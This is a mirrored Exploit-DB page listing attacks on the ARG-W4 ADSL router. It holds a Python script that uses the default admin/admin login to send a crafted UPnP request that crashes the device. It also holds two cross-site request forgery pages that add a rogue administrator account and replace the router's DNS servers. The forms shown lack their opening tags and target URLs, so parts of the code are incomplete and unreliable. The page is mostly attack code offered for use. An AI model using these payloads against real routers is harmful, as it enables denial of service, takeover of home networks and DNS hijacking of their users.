ARG-W4 ADSL Router – Multiple Vulnerabilities - 体验盒子

作者： Persian Hack Team

日期： 2016-12-11

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/40901/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities

# Date: 2016-12-11

# Exploit Author: Persian Hack Team

# Discovered by : Mojtaba MobhaM

# Tested on: Windows AND Linux

# Exploit Demo : http://persian-team.ir/showthread.php?tid=196

1 - Denial of Service

#!/usr/bin/python

import urllib2

import urllib

site=raw_input("Enter Url : ")

site=site+"/form2Upnp.cgi"

username='admin'

password='admin'

p = urllib2.HTTPPasswordMgrWithDefaultRealm()

p.add_password(None, site, username, password)

handler = urllib2.HTTPBasicAuthHandler(p)

opener = urllib2.build_opener(handler)

urllib2.install_opener(opener)

post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'}

data = urllib.urlencode(post)

try:

html = urllib2.urlopen(site,data)

print ("Done ! c_C")

except:

print ("Done ! c_C")

2-1 Cross-Site Request Forgery (Add Admin)

<html>

<body>

USER:<input type="text" name="username" value="mobham" />

PWD:<input type="text" name="newpass" value="mobham" />

RPWD:<input type="texr" name="confpass" value="mobham" />

</form>

</body>

</html>

2-2 Cross-Site Request Forgery (Change DNS)

<html>

<body>

DNS<input type="text" name="dns1" value="2.2.2.2" />

DNS 2<input type="text" name="dns2" value="1.1.1.1" />

DNS 3<input type="text" name="dns3" value="" />

</form>

</body>

</html>